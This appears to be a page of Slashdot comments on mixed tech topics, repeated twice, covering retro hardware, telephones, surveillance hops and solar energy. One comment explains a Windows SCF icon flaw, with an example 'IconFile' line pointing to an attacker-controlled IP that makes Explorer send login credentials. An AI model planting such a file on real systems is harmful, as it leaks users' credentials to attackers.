Why do they present this as an innovation? About 8 to 10 years ago, I bought a GPS tracker with exactly this functionality. You could send it an SMS with some command, and it would send back its current location. No internet necessary (although it could also send regular updates over GPRS). Cost? About $50 on DealExtreme.
I have an ASUS EEEbook X205ta that has the same. I'm running 64-bit XUbuntu on it. I only needed a 32-bit UEFI loader for grub on it to make it work. Unfortunately, the Linux kernel still has trouble with the power saving modes of the Baytrail chipset, but some workarounds have been made. Here and here are links with helpful information.
3 or 4 hops. Suspect calls pizza delivery service (1 hop) Now everyone who has called that pizza delivery service is under surveillance _as only the second hop_. In this way, 3.3 million people are easily reached from 4 hops from people under surveillance. I doubt that the ones signing the legislation allowing 4 hops were aware of this. If they were, all the worse.
Mod parent (and GGP) up. This is a Widows vulnerability in the way link files are handled, that is mischaracterised as a Chrome vulnerability by the author of the article. Link files (.LNK and.SCF as well as autorun.inf and maybe others) do not contain the pretty icon that is shown in Windows Explorer, but contain a link address to the file containing the icon.
[Shell] IconFile=MyPic.ico, or IconFile=MyProgram.exe
This is the case that was originally targeted by the developers of Windows. Then came network filesystems. Now, this would also work: IconFile=\\MyServer\Dir\MyProgram.exe, or even worse: IconFile=\\180.180.180.180\Dir\MyProgram.exe, where 180.180.180.180 is a server under control of the attacker.
When connecting to a server, Windows helpfully sends your current login credentials, to prevent you from having to re-type them every time. Only when these do not work does it display a login prompt.
The catch is, that, when you open the directory in which the file is stored in Explorer, the icon is needed for display, and the scf file specifies an icon file on a remote server. So, Explorer accesses the remote server, and the underlying network file system sends your login credentials.
Google has tried to mitigate this problem by adding a.download extension to.LNK files, but had overlooked that.SCF can do exactly the same. Ultimately, this is not Google's fault. The Windows network system should not send login credentials to a server that the user hasn't authenticated to manually before, or should only use authentication mechanisms that are immune to replay attacks or brute forcing. See Wafflemonster's post above.
This is an issue that should be addressed by Microsoft for once and for all at the filesystem level, not by browser makers with patchwork on a case-by-case basis.
I've seen it done by my ISP. Yes, they delivered a router for your internet access configured as a switch. Every computer you connected to it received a separate external IP address. Their customer helpdesk was clueless. Fortunately, this was easy to fix yourself, but a blunder of the first category nevertheless.
Please mod parent up. Preventing the regular rebooting of my computer "in the unused hours" (at night, when I sleep, announce at 2 AM that a reboot will take place at 4 AM so I will not be able to interfere) is a more urgent issue for me than these new features. And now, you can work with your offline files without downloading them! They have finally re-invented NFS! Hooray!
I would say: just try the Google lookup of "define trainers" for yourself. I did, and the first hit was http://dictionary.cambridge.or..., which gives as definition: "a person who teaches skills to people or animals and prepares them for a job, activity, or sport:" and "[ C usually plural ] (UK) (UK also training shoe, US sneaker) a type of light, comfortable shoe that can be worn for sport"
The second and third hit are directly for "trainers", not "trainer", and give "A British slang word for Shoes." and "plural noun / British / shoes that people wear, especially for running and other sports"
So, you are right that it is a British word, but not that a Google search for "define trainers" will not give you a definition. I'm not a native English speaker myself, and I had no problem understanding the meaning.
As far as I can recall, neither the 386 nor the 386SX had a mathematical coprocessor built-in. The 386 had a full external 32-bit databus, the 386SX was 32 bits internally, with only 16 bits externally, so you only needed 2 8-bits-wide SIMMs instead of 4. The coprocessor was always external, 387 vs 387SX. With the advent of the 486, the 486DX had the coprocessor built-in, which the 486SX didn't have. Both had an external 32-bit bus. There was a mathematical coprocessor for the 486SX, the 487SX, which actually included a full 486DX, but tested for (and disabled!) the 486SX on the mainboard.
I used to get the Maxell high bias tapes...can't remember the exact model, but those sure sounded good for the day
Maxell XL-II / XL-IIS?
I mostly used TDK SA-90. Very good sound for the price. Still have two Nakamichi decks that I haven't used in years, but I still have tapes with music that I cannot find anywhere else, so I will play them again one day...
On my Atari ST,with it's OS in 192 kB of ROM and 2.5 MB of RAM (upgraded from the stock 1 MB by soldering in two 1 MB SIMMs), I could run Calamus Desktop Publishing, Finale music scoring, PureC C-compiler (very compact and fast code), Bugaboo debugger, Signum typesetting, and many, many more. All in a windowed desktop environment. It may not have been as refined as contemporary counterparts, but is was not at all as difficult to use as you indicate.
They claim that all your data is stored on their servers in encrypted form, yet they will be able to search that data - on their servers - for something that you are looking for. How will they ever achieve that? The data is encrypted so they don't have themselves access to it, yet, when you want to search something, they apparently have it all indexed for you. How can they ever index it if they cannot read the data itself?
As I read it, TFA _does_ give a clue as to efficiency. 60% of the electrons are used for producing ethanol. Equilibrium potential for the ethanol reaction is 84 mV. The total voltage that is used is 1.2V, which is 14 times as high. That means that only 7% of the voltage is used effectively. This gives a total energy of a little over 4%. In the conclusion, this is mentioned as "The overpotential (which might be lowered with the proper electrolyte, and by separating the hydrogen production to another catalyst) probably precludes economic viability for this catalyst"
So, they don't (dare to) mention efficiency directly, but data is presented by which it can be calculated.
And, as a result, the merchant will need to increase their prices to stay profitable. In The Netherlands, most people I know don't have a credit card, but a debit card with chip and pin. Guess how many fraudulent charges most of us get per year (or even in our lifetime): none! Most people here act as if credit card fraud is a given, but only a minor nuisance. They ignore that in the end they will bear the cost nevertheless, and that it is preventable.
I dialed phone numbers by rapidly depressing the hook. Worked like a charm. I then found out that 11 pulses followed by a few (2 or so) 'normal' digits would also give you a connection. Judging by the response I got, I presume this was a number within the telephone company. I was 10 years old at that time, so I hung up in a hurry;-)
If it would consume more energy to produce a solar panel than it will produce in its lifetime, then either: - I would not be able to ever recoup my investment (but I can with current energy prices reach this in 15 years), or - Solar panel producers pay far less for their energy than I do, or - they would make a loss and go bankrupt. The price of a solar panel will (except for subsidies) never be lower than the price of the energy needed to produce it. As long as I can install one and make a profit, I don't believe that producing it will have cost more energy than it will ever produce.
Why isn't this reasonable? If I send a package by airmail, I pay by weight, even if I don't have the option of making the package lighter. Why should that be any different if the package is myself? It will cost more fuel to transport me if I'm heavier, so why should other people bear that extra cost?
So if the ringer was ringing and you pick up the phone there might leak some of the 90 V signal into the microphone?
That wouldn't be too good for the microphone. The switches of the hook are there to prevent that. They connect/disconnect in such an order that the telephone exchange is signalled that you pick up the receiver so the ringer signal is switched off before the speaker and mic are connected. I once had a telephone where this dis not work properly. When you picked it up at the exact moment of a ring, a loud buzzing sound came out of the earpiece. Not nice.
And did you consider what happens if you put a High frequency signal onto the line? Some of the signal might be affected by the condensator combined with the mic, and a usable signal might gotten of it.
If the receiver is on hook, both mic and speaker are completely disconnected, as you can see. The capacitor is in series with the ringer, not with mic/speaker. Please let me know from the schematic (the one I linked to, or another one if mine is not correct for the phone you have in mind) what exact signal pathway you have in mind. "Some of the signal might be affected" is too vague to be refuted or confirmed.
Yes, I know the difference. I have disassembled T65 telephones, myself, and I did not find any difference to the schematic I linked to. That is why I asked you to post the schematic of the telephones you disassembled that were different. Unless you can do so, and explain how a telephone off hook can be used to eavesdrop on you, you confirm my opinion that you are a troll. A moderately competent one, I must say: I'm still feeding you...
Yeah, the display hardware of the ZX81 was brilliant in its simplicity. Not only did it use the program counter as the character point er for the display, but the I/R (interrupt and DRAM refresh) register pair was used as a pointer into the character ROM. These were output automatically by the processor directly after the fetch of the instruction. And each line of the display was ended by a HALT instruction, so short lines did not need the full 32 bytes. And, and, and... I loved that machine for its (albeit just a _little_ bit convoluted) design!
Slashdot Mirror
Why do they present this as an innovation?
About 8 to 10 years ago, I bought a GPS tracker with exactly this functionality.
You could send it an SMS with some command, and it would send back its current location.
No internet necessary (although it could also send regular updates over GPRS).
Cost? About $50 on DealExtreme.
https://www.tele2.nl/mobiel/si...
I have an ASUS EEEbook X205ta that has the same.
I'm running 64-bit XUbuntu on it.
I only needed a 32-bit UEFI loader for grub on it to make it work.
Unfortunately, the Linux kernel still has trouble with the power saving modes of the Baytrail chipset, but some workarounds have been made.
Here and here are links with helpful information.
3 or 4 hops.
Suspect calls pizza delivery service (1 hop)
Now everyone who has called that pizza delivery service is under surveillance _as only the second hop_.
In this way, 3.3 million people are easily reached from 4 hops from people under surveillance.
I doubt that the ones signing the legislation allowing 4 hops were aware of this.
If they were, all the worse.
Mod parent (and GGP) up. .SCF as well as autorun.inf and maybe others) do not contain the pretty icon that is shown in Windows Explorer, but contain a link address to the file containing the icon.
This is a Widows vulnerability in the way link files are handled, that is mischaracterised as a Chrome vulnerability by the author of the article.
Link files (.LNK and
[Shell]
IconFile=MyPic.ico, or
IconFile=MyProgram.exe
This is the case that was originally targeted by the developers of Windows.
Then came network filesystems. Now, this would also work:
IconFile=\\MyServer\Dir\MyProgram.exe, or even worse:
IconFile=\\180.180.180.180\Dir\MyProgram.exe, where 180.180.180.180 is a server under control of the attacker.
When connecting to a server, Windows helpfully sends your current login credentials, to prevent you from having to re-type them every time.
Only when these do not work does it display a login prompt.
The catch is, that, when you open the directory in which the file is stored in Explorer, the icon is needed for display, and the scf file specifies an icon file on a remote server. So, Explorer accesses the remote server, and the underlying network file system sends your login credentials.
Google has tried to mitigate this problem by adding a .download extension to .LNK files, but had overlooked that .SCF can do exactly the same. Ultimately, this is not Google's fault. The Windows network system should not send login credentials to a server that the user hasn't authenticated to manually before, or should only use authentication mechanisms that are immune to replay attacks or brute forcing. See Wafflemonster's post above.
This is an issue that should be addressed by Microsoft for once and for all at the filesystem level, not by browser makers with patchwork on a case-by-case basis.
Ooh! That's an old one! Haven't seen it in the wild, but I can remember when it was doing the rounds.
I've seen it done by my ISP.
Yes, they delivered a router for your internet access configured as a switch.
Every computer you connected to it received a separate external IP address.
Their customer helpdesk was clueless.
Fortunately, this was easy to fix yourself, but a blunder of the first category nevertheless.
Please mod parent up.
Preventing the regular rebooting of my computer "in the unused hours" (at night, when I sleep, announce at 2 AM that a reboot will take place at 4 AM so I will not be able to interfere) is a more urgent issue for me than these new features.
And now, you can work with your offline files without downloading them! They have finally re-invented NFS! Hooray!
I would say: just try the Google lookup of "define trainers" for yourself.
I did, and the first hit was http://dictionary.cambridge.or..., which gives as definition:
"a person who teaches skills to people or animals and prepares them for a job, activity, or sport:" and
"[ C usually plural ] (UK) (UK also training shoe, US sneaker) a type of light, comfortable shoe that can be worn for sport"
The second and third hit are directly for "trainers", not "trainer", and give
"A British slang word for Shoes." and
"plural noun / British / shoes that people wear, especially for running and other sports"
So, you are right that it is a British word, but not that a Google search for "define trainers" will not give you a definition.
I'm not a native English speaker myself, and I had no problem understanding the meaning.
As far as I can recall, neither the 386 nor the 386SX had a mathematical coprocessor built-in.
The 386 had a full external 32-bit databus, the 386SX was 32 bits internally, with only 16 bits externally, so you only needed 2 8-bits-wide SIMMs instead of 4. The coprocessor was always external, 387 vs 387SX.
With the advent of the 486, the 486DX had the coprocessor built-in, which the 486SX didn't have. Both had an external 32-bit bus.
There was a mathematical coprocessor for the 486SX, the 487SX, which actually included a full 486DX, but tested for (and disabled!) the 486SX on the mainboard.
I used to get the Maxell high bias tapes...can't remember the exact model, but those sure sounded good for the day
Maxell XL-II / XL-IIS?
I mostly used TDK SA-90. Very good sound for the price.
Still have two Nakamichi decks that I haven't used in years, but I still have tapes with music that I cannot find anywhere else, so I will play them again one day...
On my Atari ST,with it's OS in 192 kB of ROM and 2.5 MB of RAM (upgraded from the stock 1 MB by soldering in two 1 MB SIMMs), I could run Calamus Desktop Publishing, Finale music scoring, PureC C-compiler (very compact and fast code), Bugaboo debugger, Signum typesetting, and many, many more. All in a windowed desktop environment. It may not have been as refined as contemporary counterparts, but is was not at all as difficult to use as you indicate.
They claim that all your data is stored on their servers in encrypted form, yet they will be able to search that data - on their servers - for something that you are looking for.
How will they ever achieve that?
The data is encrypted so they don't have themselves access to it, yet, when you want to search something, they apparently have it all indexed for you.
How can they ever index it if they cannot read the data itself?
... I meant "this gives a total efficiency of a little over 4%"
Need to proofread better...
As I read it, TFA _does_ give a clue as to efficiency.
60% of the electrons are used for producing ethanol.
Equilibrium potential for the ethanol reaction is 84 mV.
The total voltage that is used is 1.2V, which is 14 times as high.
That means that only 7% of the voltage is used effectively.
This gives a total energy of a little over 4%.
In the conclusion, this is mentioned as "The overpotential (which might be lowered with the proper electrolyte, and by separating the hydrogen production to another catalyst) probably precludes economic viability for this catalyst"
So, they don't (dare to) mention efficiency directly, but data is presented by which it can be calculated.
And, as a result, the merchant will need to increase their prices to stay profitable.
In The Netherlands, most people I know don't have a credit card, but a debit card with chip and pin.
Guess how many fraudulent charges most of us get per year (or even in our lifetime): none!
Most people here act as if credit card fraud is a given, but only a minor nuisance.
They ignore that in the end they will bear the cost nevertheless, and that it is preventable.
If you put the SIM in another phone (and, thus, cycle power of the SIM) you will have to enter the PIN code before it will register.
I think you mean coprolite?
A corpolite, if it would exist, would rather be a fossilized corpse.
I dialed phone numbers by rapidly depressing the hook. Worked like a charm. ;-)
I then found out that 11 pulses followed by a few (2 or so) 'normal' digits would also give you a connection.
Judging by the response I got, I presume this was a number within the telephone company.
I was 10 years old at that time, so I hung up in a hurry
Reply to undo a moderation that was done by a slip of the finger
If it would consume more energy to produce a solar panel than it will produce in its lifetime, then either:
- I would not be able to ever recoup my investment (but I can with current energy prices reach this in 15 years), or
- Solar panel producers pay far less for their energy than I do, or
- they would make a loss and go bankrupt.
The price of a solar panel will (except for subsidies) never be lower than the price of the energy needed to produce it.
As long as I can install one and make a profit, I don't believe that producing it will have cost more energy than it will ever produce.
Why isn't this reasonable? If I send a package by airmail, I pay by weight, even if I don't have the option of making the package lighter.
Why should that be any different if the package is myself? It will cost more fuel to transport me if I'm heavier, so why should other people bear that extra cost?
So if the ringer was ringing and you pick up the phone there might leak some of the 90 V signal into the microphone?
That wouldn't be too good for the microphone.
The switches of the hook are there to prevent that.
They connect/disconnect in such an order that the telephone exchange is signalled that you pick up the receiver so the ringer signal is switched off before the speaker and mic are connected. I once had a telephone where this dis not work properly. When you picked it up at the exact moment of a ring, a loud buzzing sound came out of the earpiece. Not nice.
And did you consider what happens if you put a High frequency signal onto the line? Some of the signal might be affected by the condensator combined with the mic, and a usable signal might gotten of it.
If the receiver is on hook, both mic and speaker are completely disconnected, as you can see.
The capacitor is in series with the ringer, not with mic/speaker.
Please let me know from the schematic (the one I linked to, or another one if mine is not correct for the phone you have in mind) what exact signal pathway you have in mind. "Some of the signal might be affected" is too vague to be refuted or confirmed.
Yes, I know the difference.
I have disassembled T65 telephones, myself, and I did not find any difference to the schematic I linked to.
That is why I asked you to post the schematic of the telephones you disassembled that were different.
Unless you can do so, and explain how a telephone off hook can be used to eavesdrop on you, you confirm my opinion that you are a troll.
A moderately competent one, I must say: I'm still feeding you...
Yeah, the display hardware of the ZX81 was brilliant in its simplicity.
Not only did it use the program counter as the character point er for the display, but the I/R (interrupt and DRAM refresh) register pair was used as a pointer into the character ROM. These were output automatically by the processor directly after the fetch of the instruction.
And each line of the display was ended by a HALT instruction, so short lines did not need the full 32 bytes.
And, and, and... I loved that machine for its (albeit just a _little_ bit convoluted) design!